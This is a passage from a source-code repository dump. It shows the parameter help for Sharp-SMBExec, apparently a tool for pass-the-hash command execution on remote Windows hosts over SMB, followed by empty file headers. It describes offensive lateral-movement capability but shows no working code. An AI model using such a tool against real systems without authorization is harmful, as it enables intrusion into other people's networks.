This module will accept either LM:NTLM or NTLM format domain Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username target Hostname or IP Address of the target. command Command to execute on the target. If a command is not specified, the function will check to see if the username and hash provide local admin access on the target ServiceName Default = 20 Character Random. The Name of the service to create and delete on the target. -CheckAdmin Check admin access only, don't execute command -Help (-h) Switch, Enabled debugging [Default='False'] -Debug Print Debugging Information along with output -ForceSMB1 Force SMB1. The default behavior is to perform SMB Version negotiation and use SMB2 if it's supported by the target [Default='False'] -ComSpec Prepend %COMSPEC% /C to Command [Default='False'] ``` ================================================ FILE: Sharp-SMBExec/SharpInvoke-SMBExec/App.config ================================================ ================================================ FILE: Sharp-SMBExec/SharpInvoke-SMBExec/ArgParse.cs ================================================ using System;
